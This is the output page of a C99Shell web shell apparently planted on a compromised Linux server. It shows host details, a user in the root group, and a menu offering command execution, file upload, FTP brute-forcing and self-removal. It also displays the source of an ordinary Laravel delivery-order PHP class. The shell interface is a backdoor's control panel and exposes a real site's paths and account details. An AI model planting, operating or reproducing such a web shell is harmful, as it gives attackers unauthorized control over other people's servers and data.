!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Repositories/Orders/   drwxr-xr-x
Free 26.61 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PDOrderRepository.php (2.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
|--------------------------------------------------------------------------
| Pickup Delivery Web Order
|--------------------------------------------------------------------------
*/

namespace App\Repositories\Orders;

use 
App\Models\SimpleDelivery;
use 
Illuminate\Support\Facades\Validator;
use 
Cart;
use 
Illuminate\Support\Facades\Cookie;
use 
Illuminate\Support\Facades\Redirect;

class 
PDOrderRepository extends BaseOrderRepository implements OrderTypeInterface
{

    private 
$orderMessage=""//The message we will send

    
public function validateData(){
        
$validator=Validator::make($this->request->all(), array_merge($this->expeditionRules(),$this->paymentRules()));
        if(
$validator->fails()){$this->status=false;}
        return 
$validator;
    }

    public function 
makeOrder(){

        
//From Parent - Construct the order
        
$this->constructOrder();

        
//From trait - set fee and time slot
        
$this->setAddressAndApplyDeliveryFee();
        
$this->setTimeSlot();

        
//From parent - check if order is ok - min price. -- Only for pickup - dine in should not have minimum
        
$resultFromValidateOrder=$this->validateOrder();
        if(
$resultFromValidateOrder->fails()){return $resultFromValidateOrder;}

         
//From trait - make attempt to pay order or get payment link
         
$resultFromPayOrder=$this->payOrder();
         if(
$resultFromPayOrder->fails()){return $resultFromPayOrder;}

        
//Local - set Initial Status
        
$this->setInitialStatus();

         
//Local - clear cart
         
$this->clearCart();

         
//Local - Notify
         
$this->notify();

        
//At the end, return that all went ok
        
return Validator::make([], []);
    }


    
    public function 
setInitialStatus(){
        
//Set the just created status
        
$this->order->status()->attach(1, ['user_id'=>$this->vendor->user->id'comment'=>'New order']);

     }

    public function 
redirectOrInform(){
        if(
$this->status){
            if(
$this->paymentRedirect==null){
                
//New order - redirect to success page
                
return redirect()->route('order.success', ['order' => $this->order]);
            }else{
                
//We have payment redirect
                
return redirect()->route('order.success', ['order' => $this->order,'redirectToPayment'=>true]);
            }
            
        }else{
            
//There was some error, return back to the order page
            
return redirect()->route('cart.checkout')->withInput();
        }
    }

    private function 
clearCart(){
        
Cart::clear();
    }

    private function 
notify(){
        
$this->notifyOwner();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--